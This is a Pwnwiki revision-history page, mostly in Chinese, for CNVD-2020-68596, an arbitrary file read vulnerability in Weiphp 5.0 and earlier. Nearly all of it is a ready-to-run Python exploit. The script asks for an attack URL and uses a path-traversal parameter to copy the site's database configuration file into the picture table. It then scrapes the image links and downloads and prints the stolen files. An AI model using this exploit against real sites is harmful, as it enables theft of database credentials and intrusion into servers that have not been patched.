Pwnwiki: Marked this version for translation

2021-04-08T03:43:35Z

Marked this version for translation

Pwnwiki: Created page with " ==漏洞影響==

 Weiphp <= 5.0

==POC==

 #!/usr/bin/python3 #-*- coding:utf-8 -*- # author : PeiQi # from   : http:..."

2021-04-08T03:43:12Z

Created page with "<languages /> <translate> ==漏洞影響== </translate> <pre> Weiphp <= 5.0 </pre> ==POC== <pre> #!/usr/bin/python3 #-*- coding:utf-8 -*- # author : PeiQi # from : http:..."

New page

<languages />

<translate>
==漏洞影響==
</translate>
<pre>
Weiphp <= 5.0
</pre>

==POC==
<pre>
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech

import requests
import random
import re

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m') \033[0m')
print('+ \033[34mVersion: Weiphp5.0 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
upload_url = target_url + "/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
}
data = {
"1":1
}
try:
response = requests.post(url=upload_url, headers=headers, data=data, timeout=20)
if response.status_code == 200:
print("\033[32m[o] 成功将 database.php文件写入Pictrue表中\033[0m")
else:
print("\033[31m[x] 漏洞利用失败 \033[0m")
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")

def POC_2(target_url):
vnln_url = target_url + "/public/index.php/home/file/user_pics"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
}
try:
response = requests.get(url=vnln_url, headers=headers).text
href = re.findall(r'<img src="(.*?)"', response)
for i in href:
print("\033[32m[o] 得到敏感文件url：{}\033[0m".format(i))
data = requests.get(url=i, headers=headers)
path = str(random.randint(1,999)) + '.php'
with open(path, 'wb') as f:
f.write(data.content)
print("\033[32m[o] 成功下载文件为：{}\033[0m".format(path))
print("\033[32m[o] 文件内容为：\n\033[0m{}".format(data.text))
except:
print("\033[31m[x] 获取文件名失败 \033[0m")

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
image_url = POC_2(target_url)
</pre>
<translate>
==參考==
</translate>
http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html

CNVD-2020-68596 Weiphp5.0 前台文件任意讀取漏洞 - Revision history

Pwnwiki: Marked this version for translation

Pwnwiki: Created page with " ==漏洞影響==
Weiphp <= 5.0
==POC==
#!/usr/bin/python3 #-- coding:utf-8 -- # author : PeiQi # from : http:..."

@@ Line 2: / Line 2: @@
 <translate>
-==漏洞影響==
+==漏洞影響== <!--T:1-->
 </translate>
 <pre>
@@ Line 76: / Line 76: @@
 </pre>
 <translate>
-==參考==
+==參考== <!--T:2-->
 </translate>
 http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html